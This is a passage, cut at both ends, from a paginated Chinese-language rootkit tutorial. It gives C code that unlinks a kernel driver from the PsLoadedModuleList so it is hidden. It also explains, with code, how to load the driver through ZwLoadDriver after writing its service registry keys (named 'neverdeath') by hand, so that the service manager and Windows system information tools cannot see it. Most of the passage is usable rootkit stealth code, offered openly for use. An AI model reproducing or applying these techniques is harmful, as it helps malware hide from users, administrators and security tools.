nbsp; { PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink); PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink); PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink; PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink; IsDelModule=TRUE; break; } } if ( IsDelModule != TRUE ) { return STATUS_DEVICE_CONFIGURATION_ERROR; } return STATUS_SUCCESS;
}
上面这两个函数中,GetPsLoadedModuleListPtr()是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule()用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。
五、隐藏服务:
普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
1、首先自己在注册表的服务项中添加一个自己的服务名字项。 2、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService()函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
NTSTATUS ZwLoadDriver( IN PUNICODE_STRING DriverServiceName );
下面的代码给出了ZwLoadDriver的使用例子:
AnotherWayStartService( TCHAR *szDir ) { HKEY RegKey; HKEY hLicenses; DWORD disp; DWORD ErrorControl=NULL; DWORD ProcessID; DWORD Start=3; DWORD Type=1; LONG Regrt;
DWORD ZwLoadDriver; DWORD RtlInitUnicodeString; UNICODE_STRING RegService;
PCWSTR RegServicePath= L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath";
TCHAR DriverFilePath[MAX_PATH] = "\\??\\";
Regrt = RegOpenKeyEx ( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", 0, KEY_CREATE_SUB_KEY + KEY_SET_VALUE, &hLicenses );
if ( Regrt != ERROR_SUCCESS ) { return false; }
Regrt=RegCreateKeyEx ( hLicenses, "neverdeath", 0, "", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &RegKey, &disp );
if ( Regrt != ERROR_SUCCESS ) { return false; }
Regrt = RegOpenKeyEx ( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\neverdeath", 0, KEY_CREATE_SUB_KEY + KEY_SET_VALUE, &RegKey );
if ( Regrt != ERROR_SUCCESS ) { return false; }
Regrt = RegSetValueEx ( RegKey, "ErrorControl", NULL, REG_DWORD, (const unsigned char *)(&ErrorControl), 4 );
if ( Regrt != ERROR_SUCCESS ) { return false; } strcat(DriverFilePath, szDir);
Regrt = RegSetValueEx ( RegKey, "ImagePath", NULL, REG_EXPAND_SZ, (const unsigned char *)(&DriverFilePath), &nbs 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |